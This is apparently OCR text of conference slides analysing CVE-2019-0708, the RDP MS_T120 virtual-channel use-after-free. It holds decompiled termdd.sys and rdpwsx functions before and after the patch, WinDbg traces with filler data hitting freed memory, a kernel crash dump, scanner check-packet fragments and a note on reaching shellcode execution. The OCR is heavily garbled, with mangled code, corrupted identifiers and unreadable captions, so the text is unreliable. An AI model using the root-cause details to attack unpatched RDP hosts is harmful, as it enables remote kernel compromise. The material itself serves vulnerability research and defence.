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>Windows XP
>Windows Server 2003
>Windows 7

>Windows Server 2008 R2
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rdpwd.sys rdpdr.sys

MCS Stack ... \Device\RdpDr
\Device\RdpDrPort

\Device\RdpDrDvMgr
\\tsclient\...

termdd.sys « RDPDR »

\Device\Termdd

tdpipe.sys rdpcdd.sys tdtcp.sys

\Device\tdpipe «CTXTW » \Device\tdtcp
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>Windows 8
>Windows Server 2012

>Windows 10

>terminput.sys
>»Rdpbase.dll
»Rdpcore.dll

»Rdpserverbase.dll
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MCS Attach User Request PDU b
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alslels MCS Channel Join Request PDU(s) >
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Security Exchange PDU >} RDP Security Commencement
x224Crq Client Info PDU >} Secure Settings Exchange
< Auto-Detect Request PDU(s) . T
routingToken (variable) g ' i Optional Connect-Time
: Auto-Detect Response PDU(s) - Auto-Detection
4 License Error PDU - Valid Client } Licensing
Initi i )
cookie (variable) 4 Initiate Multitransport Request PDU Opt|onal Multitransport
: Initiate Multitransport Response PDU > Bootstrapping
- Demand Active PDU
Monitor Layout PDU Capabilities Exch
rdpNegReq (optional) 5< y apabilifies txchange
Confirm Active PDU
Synchronize PDU i)
Control PDU - C te
rdpCorrelationInfo (36 bytes, optional) ontro oopera >
Control PDU - Request Control
Persistent Key List PDU(s)
Font List PDU p: > Connection Finalization
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User application(s) User application(s)

(using standard application protocols) controller (using non-standard protocols) % /ﬁ E 1—5 -l-ljJ\ -I,Si ( M C S ) : - /?\ §IJ EE | T U /:'_‘E >\< E,\] E

1

ITU-T Rec. T.127 (MBFT) 1};5; -I-IjJ\ -I,S( */_\ /ﬁ y @ ?E.T o ] 20 T ] 2 2 T ] 2 5 /i

ITU-T Rec. T.126 (ST)
Application protocol entity

d

Non-standard application

ITU-T Rec. T.120 .
protocol entity

application protocol
Recommendations

Generic conference control (GCC)
ITU-T Rec. T.124

Multipoint communication service (MCS)
ITU-T Recs T.122 and T.125

Network-specific transport protocols
ITU-T Rec. T.123

ITU-T Rec. T.120 infrastructure Recommendations
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*rdpdr (R&EEEM)

“ cli 5 AR EE
cliprdr (B4R & E M ) * disk (Disk Redirection)

*rail (RemoteApp) . _
* parallel (Parallel Port Redirection)

*drdynve (EISEWIEE
v (B ENEE) * serial (Serial Port Redirection)

*audin (B EEE
(% 5B 2 [ * printer (Printer Redirection)

*alsa su ort
S *CUPS support

* pulse su ort
- 210 * smartcard (Smartcard Redirection)

“tsmf (BEAERM) “ rdpsnd (ESERMA)
= = =l

* alsa support
* alsa support

* pulse su ort
X s * pulse support /

*ffmpeg support



CVE-2019-0708%M T 4247

int __stdcall IcaBindVirtualChannels(PVOID P)

{

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
vl = IcaLockConnectionForStack((int)P);

v1l0 &v17;

vl;

x380113;

0
]
0

= _IcaCallstack(P, 5,
if ( vi5 >=0)
{

(int)&v7); // parse protocol

0;
vl2 / OxE;
if ( vi2 / OxE > 0 )
{
v2 =
do

{
if ( _IcaFindvVcBind(vl, v2 - 8,

{

&v18;
(int)&v6) == -1 )

vl5 = _IcaRegisterVcBind(vl, v2 - 8, *(unsigned __ intl6 *)v2, *(_DWORD *)(v2 + 2));
if (vi5 <0)
break;

v3 = IcaFindChannelByName(vl,
channel = v3;

if (v3 )
{

(PERESOURCE)5, v2 - 8);

IcaReferenceStack(v3);

KeEnterCriticalRegion();
ExAcquireResourceExclusiveLite ( (PERESOURCE) (channel + 12), 1lu);
_IcaBindChannel (channel, 5, *(unsigned __ intl6 *)v2, *(_DWORD *)(v2 + 2));
ExReleaseResourceLite ( (PERESOURCE) (channel + 12));
KeLeaveCriticalRegion();

IcaDereferenceChannel ((PVOID)channel);

IcaDereferenceChannel ((PVOID)channel);

vl = v13;

++v16;
v2 += 14;

}
while ( v16 < vid );

}
}
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int __stdcall IcaBindVirtualChannels (PVOID P)

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

vl = IcaLockConnectionForStack((int)P);
vl2 &v19;

vl5 vl;

v9 = 0x380113;

v10
vll
vl3
v1l7 _IcaCallstack(?P, 5,
if ( v17 >=0)

(int)&v9); // rdpwd!WD_Ioctl

vls 0;
v16 vid / 14;
if (vid / 14 >0)

v2 =

do

(int *)&v20;

if ( _IcaFindVcBind(vl, (char *)v2 - 10, (int)&v8) == -1 )
vl7 = _IcaRegisterVcBind(vl,
if (vi7 <0)

break;

(char *)v2 - 10, *((unsigned __ intl6 *)v2 - 1), *v2);

v3 IcaFindChannelByName(vl,
vé v3;

if (v3 )
{

(PERESOURCE)S, (char *)v2 - 10);

IcaReferenceStack(v3);
KeEnterCriticalRegion();
ExAcquireResourceExclusiveLite ((PERESOURCE) (v4 + 12),
v5 = _ stricmp((const char *)(v4 + 0x58), "MS_T120");
yl = _*y2.
if ( v5

_IcaBindChannel(v4, 5, *((unsigned __ intl6 *)v2 - 1), v7);
else

IcaBindChannel(v4, 5, 31, v7);
XReleaseResourceLite v VAN

KeLeaveCriticalRegion();
IcaDereferenceChannel ((PVOID)v4);
IcaDereferenceChannel ((PVOID)v4);
vl = v15;

1lu);

++v18;
v2 = (int *)((char *)v2 + 14);

}
while ( v18 < v16 );
}
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2.2.1.3.4 Client Network Data (TS_UD_CS_NET)

The TS_UD_CS_NET packet contains a list of requested virtual channels.

1 2 3

header

channelDefArray (variable)

header (4 bytes): A GCC user data block header, as specified in User Data Header (section
2.2.1.3.1). The User Data Header type field MUST be set to CS_NET (0xC003).

channelCount (4 bytes): A 32-bit, unsigned integer. The number of requested static virtual
channels (the maximum allowed is 31).

channelDefArray (variable): A variable-length array containing the information for requested static
virtual channels encapsulated in CHANNEL DEF structures (section 2.2.1.3.4.1). The number of
CHANNEL_DEF structures which follows is given by the channelCount field.

CHentMCB<ConnectHHﬂolPDUvHHmGCCZConHNence(HeoteRedueﬂ
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kd> kv
ChildEEFP

10 ee9ba%9d4

ee9ba9f 8

12 ee9baalc
13 ee9baadd

ee9baabc

15 ee9baabc
16 ee9babdc
17 ee9babcd
08 ee9bacl’
19 ee9bac94
la ee9bactl

ee9bad3l

Ic ee9bad30

0268=838

le 0268283c

0268898
0268=8b8
0268e8dc
0268e90c

» 02682928

02682944

, 0268e95c
» 02682978

0268e99c

2 0268e9cs

3 0268e9£8
. 0268efel
0268f5e8

> 0268££90

0268ffbd

> 0268ffec

Retiddr Args to Child

f774ecdb
f774edf 4
f774fe2l
f774f£4d
804f018f
805841fa
805c0444
805bc9d0
80577033
805779%aa
8057a0b4
8054261c
7c92edf 4
7c92d09%c
74ed1207
74edl4?2b
74ed2184
7246684e
7246610d
72463700
724640da
7246377
724656el
761dedds
74edl60d
74ed1806
74edlecs
761lccell
761cdScl
7c80b713
goooooo0

859f64f8
68bdffdf
859d8ebs
860789f8
861cB8e90
861c8e78
861c8e290
00000000
Q0000000
0280249
0280249
0280249
0280249
74ed1207
0280249
0280249
00000378
00000378
00000378
00000378
N28023e8
02682998
00000378
nz2s02120
000ddfe0
000b4ddbs
000b4dbs
00000378
000czf490
000b2598
761cdS57

00000o0o0s
00000oo0s
859%ecd2f
86078a68
860789f8
85a4bd3c
00000000
ee9bacl4
00000000
c0100000
c0100000
c0100000
c0100000
0280249
0100000
000dd468
0280249
00000o0o0s
000b4dbs
000b4dbs
02682998
00000378
000b4dbs
00000378
000b4dbs
0038004b
000cf534
000b4dbs
000d9z2b0
00000000
000b2598

oooooo1f
859%ecd2f
860789f8
86078a08
860789f8
ee9bacl4
85a4b398
0oooo0n4n0
dff12001
02682870
02682870
02682870
02682870
c0100000
02682870
pooooonsz
ooooooonl
72461428
028023e8
028023e8
c0000001
000b4dbs
02682998
000b4dbs
0038004b
0ooooooo
nz268f027
000cf4b0
oooooo0n4
oooooooo
0ooooooo

termdd!_IcaBindChannel (FPO:

[Non-Fpo]l)

termdd!_IcaillocateChannel+0xzcbh (FPO:

termdd! IcaCreateChannel+0x7e
termdd! IcaCreate+0xbd (FPO:
termdd! IcaDispatch+0=xfd (FFPO:
nt ! IopfCallDriver+0x31 (FPO:
nt | IopPar=seDevice+0xal2 (FFO:
nt | ObpLookupObjectNamne+0x53c

nt |ObOpenObjectByName+0xea (FPO:

nt ! IopCreateFile+0x407 (FPO:
nt!IoCreateFile+0x8e (FPO:
nt |NtCreateFile+0x30 (FPO:
nt|KiFastCallEntry+0=xfc (FFPO:

ntdll | KiFastSystemCallRet (FPO:

ntdll | NtCreateFile+0xc (FPO:
ICAAPI! IcaOpen+0x59 (FPO:

ICAAPI! IcaStackOpen+0x78 (FPO:
ICAAPI ! IcaChannelOpen+0xd41l (FPO:
rdpwsx | MCSCreateDonain+0x84 (FPO:
rdpwsx | GCCConferencelnit+0x24 (FPO:
rdpwsx | TSrvBindStack+0=x19 (FPO:
rdpwsx | TSrvAllocInfo+0x42 (FPO:

rdpwsx | TSrvStackConnect+0x26

rdpwsx ! WsxlcaStackloControl+0xl17d (FPO:
termsrv | WexStacklIoControl+0=x43 (FPO:
ICAAPI! IcaStackloControl+0x33 (FPO:

(FPO:

[0.0.0])

[Hon-Fpol)
[Hon-Fpol)
[Non-Fpo]l)
[Hon-Fpol)
[Hon-Fpol)
[Hon-Fpol)

{FPO:

[Hon-Fpo])
[Hon-Fpol)

[Hon-Fpaol)
[Hon-Fpol)
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[0,0] TrapFrame @ ee%9%bad6d)

[11.0.07)

[Hon-Fpol)
[Hon-Fpol)
[Hon-Fpol)
[Non-Fpo]l)
[Hon-Fpol)
[Hon-Fpol)
[HNon-Fpo]l)
[Hon-Fpol)
[Hon-Fpol)
[Hon-Fpo])
[Non-Fpo]l)

{FPO:

ICAAPI! IcaStackWaitForlIca+0x3e (FPO:

termsrv ! TransferConnectionToldleWinStation+0x416 (FPO:
termsrv!WinStationTransferThread+0x69 (FPO:
kernel3?2 | BaseThreadStart+0x37 (FPO:

[0.0.01)

[HNon-Fpo]l)
ICAAPI | IcaStackConnectiondccept+0x153 (FPO:

[Hon-Fpol)

[Hon-Fpo]

[Hon-Fpol)

[Non-Fpol)
)



nt __ stdcall MCSCreateDomain(int al, int a2, int a3, _DWORD *a4)

e

struct_v5 *v4; // eax
struct_v5 *v5; // e
int *pFile; // ebx
int v8; // sp+Ch] [ebp-Ch]
int v9; // [esp+10h] [ebp-8h]
LPCRITICAL_SECTION lpCriticalSection; // [esp+14h] [ebp-4h]

2 10 *a4 = 0;
MS_T] O 11 v = (struct_vs *); 3544@"‘;‘(g_hTShareHeap, 8u’ °x4A8u);

12 v = v4;
13 4if ( lva )
14 return 11;

lpCritic

oo~k WwWwNe-=

)

>rdpwsxIMCSCreateDomain

HeapFree (g_hTShareHeap, 0, v5);
20 return 11;

. 21
>lcaa Ol [lcaChannelO pen 22| Enf riticals ion(&v5->rtl_critical_sectiond);
23 v5=->dwordlC 1;
24 v5=->dword20 = a2;
g k 25 v5->dword28 = ai;
26 v5=->dword30 = 0;
»lcaapil_IlcaStackOpen 26 vs->dword3o = 0;
28 v5->dword60 = 0;
29 v5->dword5C = 0;
8 30 v5->ref = 0;
»Icaapil _IlcaOpen 31 McsReferencaDomain (&vS->ref);
32 prile = &v5->hFile;

33 if ( IcaChannelOpen(al, 5, (int)"MS_T120", (int)&v5->hFile) < 0 )

>»N1dIIINtCreateFile

>»Termdd!lcaCreate

eIoCompletionPort ( (HANDLE)*pFile, CompletionPort, (ULONG_PTR)v5, 0)
0, v9 = 20, IcaStachoControl(Hu, 0x381403, (int)&veé, 8, 0, 0, 0) < 0) )

41

42
>»Termdd!lcaCreateChannel ta|  goto LAREL 7, ipFilels

a5 }

46 *ad = v5;

47 MCSReferenceDomain(&w9—>ref),
F tus (CompletionPort, OxFFFFFFFD, (ULONG PTR)v5, 0);

ri L1\|—(ﬂ1,:,w~wl—L1Lr|J1),

50 feturn 0;
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nt _ stdcall IcaCreateChannel (IcaStack *stack, char *a3, PIRP irp, int a4)

_~

int v4; // ecx
Icachannel *channel; //
int result; //
PERESOURCE Resource; //
char *a3a; // h

VoOoONAANNBWNE

= *(( DWORD *)a3d + 2);
(PERESOURCE) * ((_DWORD *)
< 0 )
return 0xC000000D;
if (v4 >5)
return 0xC000000D;
= + 12;
if ( !_memchr(a3a,
return 0xC0000 OD,
IcaReferenceStack((IcaChannel *)s
KeEnterCriticalRegion();
ExAcquzreResourceExcluszveLLte(& g >base.Lock, 1lu);
1= Icarindchannelnynane((IcaConn *)stack, (int)R
if ( el || (eb = _IcaAllocateChannel((IcaConn *

_InterlockedExchangeAdd (& el->channelRef, 1lu);

if ( channel->channelStatus & 8 )

{
IcaReferenceStack(channel);
KeEnterCriticalRegion();
ExAcquireResourceExclusiveLite(&c

>channelStatus &= OxFFFFFFF

ExReleaseResourcethe(& el->base.Lock);
KeLeaveCriticalRegion();
IcaDereferenceChannel 1);

ExReleaseResourceLite( «->base.Lock) ;
KeLeaveCriticalRegion();
IcaDereferenceConnection((IcaConn *)

* (_DWORD *)(*( DWORD *) + 24) + 12)

ExReleaseResourceLite( «->base.Lock) ;
KeLeaveCriticalRegion();
IcaDereferenceConnection((IcaConn *)

1t = 0xCOO00009A;
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nt __ stdcall MCSInitialize(int al)

DWORD _ stdcall IoThreadFunc(LPVOID lpThreadParameter)

{

~—

HANDLE vl1; // e
HANDLE v2; //

BOOL vl; // «

DWORD NumberOfBytesTransferred; //
LPOVERLAPPED Overlapped; // 5
unsigned int CompletionKey; //

dword_72474194 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))
vl = CreateloCompletionPort ((HANDLE)OxFFFFFFFF, 0, 0, 0);
CompletionPort = vil;
if ( lvl)
return 11;
v2 = CreateThread(0, 0, IoThrepdFunc, vl, 0, &Threadld);
dword_7247418C = :
if ( 1Tv2 )
return 11;
SetThreadPriority(
g_bInitialized = 1;
return 0;

while (1)
do

1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8

-~

GetQueuedCompletionStatus (
T dl

Q0o xrefs to CompletionPort
Text
MCSDisconnectPort(x,x)... push CompletionPort; CompletionPort
MCSCreateDomain(x,X,X,... push CompletionPort; ExistingCompletionPort
MCSCreateDomain(x,x,X,... push CompletionPort; CompletionPort
MCSiInitialize(x)+1D CompletionPort, eax
MCSCleanup()+1C CompletionPort; CompletionPort

MCSPortData((volatile LONG *
else
MCSDereferenceDomain((volatile LONG *

MCSCleanup()+51 CompletionPort; hObject }
SetEvent (hObject);
return 0;

}

Help Search

Line 4 of 6
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MCSPortData

LONG __ stdcall MCSPortData(struct_data *data, int a2)
int v2; //
void *v3; /
EnterCriticalSection( a->rtl_critical_section4);
if ( (unsigned int)a2 OxFFFFFFFO )

if ( a2 == =2
MCSChannelClose(data);

}
else if ( ! (*( _BYTE *)(&data->dword28 + 1) & 1) )

v2 = *(_DWORD *)&data->buf[4];
if (v2)

HandleDisconnectProviderIndication(d
MCSChannelClose(data);
}
}

else

HandleConnectProviderIndication(data

}
*(_DWORD *)&data->buf[4] = -1;

}

v3 = (void *)data->hFile;

if ( v3 && (Re 3 a->buf, 0x434u, 0, (LPOVERLAPPED)&data->gap34[32]) || GetLastError() == 997) )
MCSReferenceDomain(&data->ref);

LeaveCriticalSection( >rtl_critical_section4);

return MCSDereferenceDomain(&data->ref);
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Rdpwd!HandleConnectlnitial

1= 0;

\ Decodenoméin?arameters(*vb,
if ( v7 )
{

r
DecodeDomainParameters (
1v7 )

= DecodeDomainParameters (*
if ( 1v7)

DecodeTagBER(*v4,

, 4, &v35, &v
1v7 )

= 0x400;

qmemcpy , 0x20u);
v9 = GetTotalLengthDeterminantEncodingSize(v15);

v9 - 6;

IcaChannelInput(*v4, 5, 31, 0, (int)&:

else

MCSProtocolErrorEvent (*v4, [11], 103,

else

while ( IcaBufferAlloc(*v4, O, 1, 54, 0, (int)&v27)

H
CreateConnectRes
if ( SendOutBuf(

14, 0, v4 + 41, O,

, 0x808);




lcaChannellnput

nt _ stdcall IcaChannellInputInternal(int al, int Channelld, int a3,

-~

if ( ¢ Id <0)
goto LABEL_12;
if ( ¢ <=1)
{
KeQuerySystemTime ( (PLARGE_INTEGER) (al + 112));
10 LABEL_12:
v6 = (IcaStack *)al;
goto LABEL_13;

VONOAUNBRWNK

ve = (Icastack * ;
if ( ¢ == 4 &&

BYTE *)(al + 93) =

= 0x38007F;
IcaCallstackNoLock(w\, 5, &v33);

= (struct _KEVENT *)_ Interlockedzxchange((volatlle signed __
if (v7 )
{

KeSetEvent(v7, 0, 0);
ObfDereferenceObject(v7);

Struct _KEVENT **) (&
KeSetEvent(v8, 0, 0);
ObeereferenceObJect(*(PVOID *)(al + 120));
nk 0;
*( DWORD *) ( + 120) = 0;
if (
35 LABEL_60:
36 ExFreePoolWithTag( (PVOID)c

37 return 0;
38

)
goto LABEL ,_59;
IcaReferenceStack (
KeEnterCriticalRegion();
ExAcquireResourceExclusiveLite(&_c ->base.Lock, 1lu);
->channelStatus;
3 & 0x28 || v6->dword44 == 1 && !(v13 & 2) )

ExReleaseResourceLite(& ->base.Lock) ;

SIZE_T cbUnk,

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

+ 124), 0);

PVOID pData, size_t cbData)
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ChildEBFP RetAddr Args to Child 2019 Security Development Conference
00 edd99400 £774f4e6b 85285008 00000005 00000001 termdd!IcaChannellnputlnternal (FPO: [Non-Fpo])
01 =dd99428 ed?1094e 85abacec 00000005 00000001 termdd!IcaChannellnput+0=x41 (FPO: [Non-Fpo])
02 edd9945c ed70ab25 =12d2008 42a8590f 0000008c RDPWD!WDW_OnDataReceived+0x180 (FPO: [Non-Fpol)
03 edd99484 ed70a949 e12d282c e1f1412c edd99400 RDPWD!SH_MCSSendDataCallback+0x12d (FPO: [Non-Fpo]l)
04 edd994ec ed70a770 000000a0 =dd99524 000000a7? RDPWD!HandleiAllSendDataPDUs+0x155 (FPO: [Non-Fpol)
05 edd99508 ed709632 000000a0 =dd99524 806e7900 RDPWD!RecognizeMCSFrame+0x32 (FPO: [Non-Fpol)
06 edd99530 £7752625 1242008 00000000 85a8599b RDPWDIHCSIcaRawInput+0x32c (FPO: [Non-Fpo])
07 edd99550 £799f1eb 85fSecac 00000000 85a858f4 termdd!IcaRawlnput+0x53 (FPO: [Non-Fpo])
08 edd99d90 £775122f 85a857a8 00000000 85f4a8b8 TDTCP!TdInputThread+0x36f (FPO: [Non-Fpol)
09 edd99dac 805d0f64 85293640 00000000 00000000 termdd!_IcaDriverThread+0x51 (FPO: [Non-Fpol)
Oz edd99ddc 805470de £77511de 861£71b8 00000000 nt!PspSystemThreadStartup+0x34 (FPO: [NHon-Fpol)
Ob 00000000 QOOOQOOOQO OQOOOOOOO OOOQOOOOO OOQOOQOO0D nt!KiThreadStartup+0xl6
0: kd> kv 1
# ChildEEP RetAddr Args to Child
00 edd99400 £774f46b 85a85008 00000005 00000001 termdd!IcaChannellnputlnternal (FPO: [Non-Fpo])
0: kd> r
eax=00000000 ebx=212d2008 ecx=85a85058 edx=00000000 e=i=00000000 edi=85a85008
eip=f774e670 esp=2dd99404 ebp=edd99428 iopl=0 nv up i1 pl zr na pe nc
cs=0008 ===0010 d==0023 e=s=0023 f==0030 g=s=0000 ef1=00000246
termdd! IcaChannel InputInternal :
f774e670 8bff nowv edi.edi 0: kd> ba r4 85a85918
0: kd> dd =dd99400 Net COM port baud is ignored
edd99400 00000246 £774f46b 85285008 00000005 |0: kd> g
edd99410 00000001 00000000 85285917 00000084 |Breakpoint 6 hit
edd39420 0000008c 85a8590f edd9945c ed710%4e |torpndd! IcaCopyDataTolUserBuffer+0x38:
edd99430 8Sabacec 00000005 00000001 OO0OOOOOO - . : :
=dd99440 85285917 00000084 85a8590f e12d2564 g??ig?ﬂivfgaﬁ D MOws deord pex es:edi], deord pes [esi)
SH193160 ed?0aboe 21242003 1228590¢ 00n0008e | # ChildEBP Rethddr Args to Child
0: kd> dd 85a85917 01 edd99400.f??4f46b 85285008 00000005 00000001 termdd!IcaChannellnputlnternal+0xlel (FPO: [Non-Fpol)
85285917 42424242 42424242 42424242 42424242 |0: kd> r edi
85285927 42424242 42424242 42424242 42424242 |2d1=02833138
85285937 42424242 42424242 42424242 42424242 |0: kd> ba rd4 02833138
85285947 42424242 42424242 42424242 42424242 |0: kd> g
85aB5957 42424242 42424242 42424242 42424242 |Breakpoint 6 hit
85285967 42424242 42424242 42424242 42424242 |Breakpoint 7 hit
85a85977 42424242 42424242 42424242 42424242 termdd!_IcaCopyDataTolUserBuffer+0x38:
85285987 42424242 42424242 42424242 42424242 |£f774d4d02 £3a5 rep mnovs dword ptr es:[edi].dword ptr [esi]
0: kd> g
Breakpoint 7 hit
rdpwsx | MCSPortData+0=x29:
001b:724666e3 832800 sub eax,
1: kd> kv
# ChildEBP RetiAddr Args to Child
00 028bff98 72466727 028330c0 00000084 00000084 rdpwsx!MCSPortData+0=x29 (FPO: [Non-Fpo])
01 028bffbd 7c80b713 000002dc 77daddde 00000000 rdpwsz!IoThreadFunc+0x45 (FPO: [Non-Fpo])
02 028bffec 00000000 72466762 000002dc 00000000 kernel3?!BaseThreadStart+0x37 (FPO: [Non-Fpol)
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int _ stdcall HandleDisconnectProviderIndication(struct_data *al,

MCSPOFI:DC”:O { int result; // eax

int v4; // [esp-4h] [

struct_data *v5; // [esp+0h] [ebp-Ch]
int v6; // [esp+4h] [ebp-8h]
[

int cbbData, char *buf)

LONG stdcall MCSPortData(struct data *data, int a2)
{ —— - int v7; // [esp+8h] [ebp-4h]
int v2; // eax
void *v3; // eax :f ( cbbata == 0x10 )
EnterCriticalSection(&data->rtl_critical_sectiond); v4 = al->dword28;
if ( (unsigned int)a2 >= OxFFFFFFFO ) al->dwordé68 = 0;
al->dword30 = 0;
if (a2 == -2 ) v6 = 0; )
MCSChannelClose(data); VZ = *$(_DW0RD *)buf + 3);
} v = alj;
else if ( !(*(_BYTE *)(&data->dword28 + 1) & 1) ) ; result = mcsCallback(al, 2, &v5, v4);
{
v2 = *(_DWORD *)&data->buf[4]; return result;
if ( v2) ¥
{
if ((v2 == 2 )
HandleDisconnectProviderIndication(data, a2, (int)data->buf);
MCSChannelClose(data);
}
}
else
HandleConnectProviderIndication(data, a2, (int)data->buf);
*(_DWORD *)g&data->buf[4] = -1;
}
v3 = (void *)data->hFile;
if ( v3 && (ReadFile(v3, data->buf, O0x434u, 0, (LPOVERLAPPED)&data->gap34[32]) || GetLastError() == 997) )

MCSReferenceDomain(&data->ref);
LeaveCriticalSection(&data->rtl_critical_section4);
return MCSDereferenceDomain(&data->ref);



A R e

FOLLOWUP_IP:
termdd! IcaChannel InputInternal+llb
£774e78b ££10 call dword ptr [eax]

BUGCHECK_STR: 0=x7E

ANALYSIS_VERSION: 10.0.10240.9 =86fre

LAST_CONTROL_TRANSFER: from £774f46b to £774e78b
STACK_TEXT:

ecl964a8 f774f46b 8598£778
eel1964d0 ed?fcalt 862flldc
ed7fcaB2 2331008
£774£48f =232£008
£790£2f7 862aa514
£775122f 00033740
805d0f64 86033420
805470de £77511de
00000000 00O0OOOOOO

00000005s
00000005
8598£778
00000004
00000004
00000000
00000000
86094cf8
oooooo00o0

0000001£
0000001f
862£1138
00000000
00000000
86033acl
00000000
00000000
00000000

termdd! IcaChannelInputInternal+0xllb
termdd! IcaChannel Input+0=x41
RDPUD!SignalBrokenConnection+0=x40
RDPUD ! HCSIcaChannel Input+0=x58
termdd! IcaChannel Input+0x65

TDTCP ! TdInputThread+0=x481
termdd!_IcaDriverThread+0x51

nt | PespSystenThreadStartup+0=x34

gooooooon nt |KiThreadStartup+0=z16

SYMBOL_STACK_INDEX: 0O
SYMBOL_NAME:

FOLLOWUP_NAME:
MODULE_NAME:
IMAGE_NAME:

termdd! IcaChannelInputInternal+llb
MachineOwner
termdd
termdd . sys
DEBUG_FLR_IMAGE_TIMESTAMP: 4802532c
STACK_COMMAND: .cxr Oxffffffffeel196098 ; kb
FAILURE BUCKET ID: O0x7E_termdd!IcaChannellnputInternal+llb
BUCKET_ID: 0=x7E_termdd!IcaChannellnputlnternal+llb
PRIMARY PROELEM_ CLASS: 0x7E_termdd!IcaChannellnputInternal+llb
ANALYSIS_SOURCE: KN
FAILURE ID HASH STRING: km:0x7e_termdd!icachannelinputinternal+llb

FAILURE_ID HASH: {fc541517-e3dc-baB2-4665-023d482%be4f}
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oid _ stdcall _IcaBindChannel (IcaChannel *channel, int id,

-~

_ERESOURCE *v4; // [esp-4h]

[ebp-10h]

v4 = channel->pchannelTableLock;
channel->id = id;
channel->id_vec = a3;
IcaLockChannelTable(v4);
if (a4 & 1)
channel->channelStatus |= 0x10u;
if (a3 1= -1)
channel->objConn->bindChannel[a3 + id] =
IcaUnlockChannelTable(channel->pchannelTableLock);

o~k whe=

int a3,

(IcaConn *)channel;

kd> dd 89%4cdZed +78 8%94cdZed +108

894=d3e0
894=d370
894=d380
894=d390
894cd3al
894=d3b0
394c=d3ci
894=d3d0
894=d3e0
894=d3£f0

0: lkd: da

8992a788

89702290
B970a7£0
ooooooon
8970actn
ooooooon
ooooooon
ooooooon
ooooooon
oooooon

B992a7310

8970a%610
8992a7310
OO00Goan0
ooooogan
oooooon
ooooooon
ooQeooon
ooaoo
ooooooo

8992a730+58

"M=_Tizo0*"

897 0abcl
ooooooon
ooooooan
ooooooon
ooooooon
ooooooon
ooooooon
ooooooon
ooooooon

897 0a=20
ooooooon
ooooooan
ooooooon
ooooooon
ooooooon
ooooooon
ooooooon
ooooooon

char a4)
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i 11T as R EE

2 mst120_check(int is_send)

mst120_send_check_packet(size t size, size t offset)
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__stdcall MCSPortData(struct_data *data, int a2)

int v2; // eax
void *v3; // eax

EnterCriticalSection(&data->rtl_critical_section4);
if ( (unsigned int)a2 >= OxFFFFFFFO )

if (a2 == -2 )
MCSChannelClose(data);

}
else if ( ! (*(_BYTE *)(&data->dword28 + 1) & 1) )
{

v2 = *(_DWORD *)&data->buf[4];
if ((v2))

{ if (v2 ==2)
{
hat — ; . HandleDisconnectProviderIndication(data, a2, (int)data->buf);
ar *buff = xmalloc(size); MCSChannelClose(data); ! ! !
STREAM s;
1 ref else
static int is pl’irrteci =0 HandleConnectProviderIndication(data, a2, (int)data->buf);
STatlcC C | ’ }
*(_DWORD *)&data->buf[4] = -1;
i i i == v3 = (void *)data->hFile;
if (lS__pl'ertE(f++ @) if ( v3 && (ReadFile(vB,’data->buf, 0x434u, 0, (LPOVERLAPPED)&data->gap34[32]) || GetLastError() == 99
{ MCSReferenceDomain (&data->ref);
LeaveCriticalSection(&data->rtl_critical_section4);

STATUS(1, "[+] Sending MS_T120 check packet\n"); ) return MCSDereferenceDomain(&data->ref);

} int _ stdcall HandleDisconnectProviderIndication(struct_data *al, int cbData, char *b
{
else int result; // eax
{ int v4; // [esp-4h] [ebp-10h]
. . , struct_data *v5; // [ebp+0h] [ebp-Ch]
STATUS(4, "[+] Sending MS_T120 check packet (size| sl e R S S
; . int v7; sp+8h bp-4h
size, offset); int v7; // [esp+8h] [ebp-4h]
} if ( cbbata == 0x10 )
{
vd = al->dword28;

buff[offset] = 2;
b

al->dword30 = 0;
ve = 0;

v7 = *((_DWORD *)buf + 3);

v = al;

result = mesCallback(al, 2, &v5,

}

return result;
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>»FIAZELE: use after free

»REFEENSE IcaChannel, Xx/h:0x8C

>RAEXAG
>PEAERMIEHESHIshellcode f£ N # H L Y o 4F

A
SHEAZBEIPLLEEAFERRPAMITESS
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INIE i e 7 TR Fr %

FreeRDP 1178 C3Z 4. 62300017 rdesktop 53 C3Z#4,429341F
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&7)

goto LABEL 5

;
0;

+
*)(

+ 12)
+ 16)

8)

: 0x2jo

)

0x20;

r

+ 0x20,

acl');
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struct _ declspec(align(4)) IcaChannel
{
struct IcaBase base;
_DWORD channelStatus;
_DWORD channelRef;
IcaConn *objConn;
IcaChannelDispatchTable *ChannelMgr;
_DWORD id;
char channName[8];
_DWORD id_vc;
LIST _ENTRY ConnListEntry;
LIST ENTRY RequestQueue;
LIST ENTRY Listl;
_BYTE gap7C[4];
_DWORD dword80;
_ERESOURCE *pchannelTableLock;
_DWORD dword8C;
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pCE

IcaReferenceBtack (chann); struct _ declspec(align(4)) _ERESOURCE
KeEnterCriticalRegion(); { — -—
ExAcqu:.reResourceExclus:.veLJ.te(& hann->base.Lock, 1lu);

= chann->channelStatus; _LIST ENTRY SystemResourcesList;
if ( vi3 & 0x28 || v6->dword44 == 1 && !(v13 & 2) ) mn ENTRY *OwnerTable;
ExReleaseResourceLite (& chann->base.Lock); intls ACtivecount'
KeLeaveCriticalRegion(); unsigned _int16 l"lag;
IcaDere:erenceC:annei( chann) ; KSEMAPHORE *SharedWaiters H
m,{j;’,’?“ erenceChannel(_chann); _KEVENT *ExclusiveWaiters;
if ( lcbunk ) OWNER ENTRY OwnerThreads[2];

return 0; unsigned int ContentionCount;

j 9o€° LASKL_60; unsigned __intl6 NumberOfSharedWaiters;
cbUnk unsigned __ intl6 NumberOfExclusiveWaiters;
k) $B8D4EB9EG6E3D1A926634FE9A5064A2BB ___ ulO;

*(PVOID *)(cbUnk + 8); unsigned int SpinLock;
*(_DWORD *) (cbUnk + 12);

chann->ChannelMgr;
15 )

((void (__stdcall *)(IcaChannelDispatchTable *, PVOID, size_t, int *))v15->_IcaChan

L3y

a3);
if ( vlid )
ExFreePoolWithTag( (PVOoID)v14, 0);

X a7 .
+ ady
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ZEIPHYRIZ=

kd> k

ChildEBP
b1b8d9b0
b1lb8d9fc
blb8dddc
blb8ddfc
blb8dels8
blb8eddc
00000000
kd> .cxr

RetAddr

804£9df9
804fade4
804faf33
805d0f2a
805d0f8a
805470de
00000000

OxEffffffffblb8dff0

nt!RtlpBreakWithStatusInstruction

nt !KiBugCheckDebugBreak+0x19
nt !KeBugCheck2+0x574
